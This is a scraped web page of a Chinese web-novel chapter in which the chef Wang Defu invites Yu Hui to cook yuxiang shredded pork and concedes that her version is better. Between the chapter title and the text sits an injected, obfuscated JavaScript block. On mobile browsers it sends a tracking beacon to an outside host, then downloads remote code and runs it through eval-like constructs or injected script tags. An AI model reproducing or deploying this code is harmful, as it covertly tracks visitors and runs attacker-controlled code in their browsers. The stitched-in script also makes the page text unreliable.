第44章 汪德福的胸襟和觉悟(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
汪德福:"……"
饶是听得了真话的他,也有点儿承受不住了。
收钱点菜的小妹,趴在柜台上笑得肚子痛。
这话,汪师傅是非问不可吗
这不是自取其辱吗,哈哈哈。
汪德福深吸一口气,看着余惠道:"这位女同志,既然你家娃娃说你做的比我好吃一百倍,那你就做一道菜给我尝尝……"
余惠忙道:"孩子不懂事,你别当……"
汪德福伸出手打断她的话,"我没别的意思,我做了这么多年厨子,就没人说过我做的不好吃。既然我做的这些家常菜,都有人说不好吃,那我做的菜肯定还是有问题的嘛。"
"你做道菜我尝尝,让我找出我的问题,这问题找出来,我才能进步,更好的为大家服务嘛。"
"你们说对不对"汪德福摊手看着大家问道。
饭店里的不少客人,都跟着起哄说:"对。"
是她狭隘了,余惠没想到,这大厨的胸襟如此宽广,觉悟如此的高。
"行吧,那我就做一道鱼香肉丝吧。"余惠指着鱼香肉丝说。
其实,她都没在家里给孩子们做过鱼香肉丝,顾西西只是单纯的觉得,这里头的肉,没有她做的肉好吃而已。
余惠想把北北交给顾东看着,柜台里的小妹走出来,朝她伸出手。"孩子我帮你看着。"
"麻烦你了。"余惠把北北交给了小妹。
北北还有些不乐意,在人怀里挣扎,小妹从口袋里掏出一只红色的塑料发卡,给她玩儿,她就不挣扎了。
余惠让顾东他们继续吃饭,跟着汪德福进了后厨。
后厨除了汪德福,就一个切菜洗菜和洗碗的女同志。
鱼香肉丝的配料,后厨都有已经备好的,但肉丝没了,汪德福直接拿了一块肉丝给她切。
当然,这道鱼香肉丝的钱,汪德福自己是会付钱的。
当官的不能拿人民群众,一针一线,他们做厨子的,也不能拿国家一块肉,一片菜叶,一粒盐。
"咚咚咚……"刀切在菜板上,发出沉闷的响声。
汪德福看她拿刀的架势,和这刀工,就知道她是真的会。
"姑娘,你这厨艺跟谁学的"汪德福问。
余惠想了想,觉得说自学可能会有些伤人,就说:"跟一个从小照顾我的阿姨学的。"
在孤儿院的时候,她总是在厨房帮忙,负责做饭的阿姨,对她人挺好,也教了她不少。
肉丝切好,余惠就码了味儿,用的调料也跟汪德福一样,只是用量上,有些许差异。
锅烧热,凉油下锅,油热下肉丝划开,泛白盛出。
汪德福发现不同了,她肉盛出来的时间比自己早。
锅里留底油,下入剁碎的泡椒,下豆瓣酱,炒出香味儿,再下大葱丝,木耳丝,胡萝卜丝翻炒。
这些丝下锅的同时,余惠也麻利的在炒菜的大勺里,调了个鱼香汁。
用料都跟汪德福的一样,只是用量不同。
肉丝下锅,余惠颠了两下锅,让肉丝和木耳丝和胡萝卜丝融合,再下鱼香汁,颠锅翻炒几下出锅。
整个厨房里,都弥漫着鱼香肉丝的香味儿。
汪德福早就拿着筷子等着了,菜一出锅,就夹了一筷子,送进嘴里。
好嫩,好鲜,肉微甜带微酸,微酸中又带着微辣,一切都是刚刚好。
汪德福摇着头道:"你确实做得比我好吃,我的厨艺不及你。"
余惠道:"或许汪师傅你的厨艺并不是不如我,而是这个年代,大家都不是特别富裕,还好不容易下一次馆子,都是点一两个菜下饭吃。"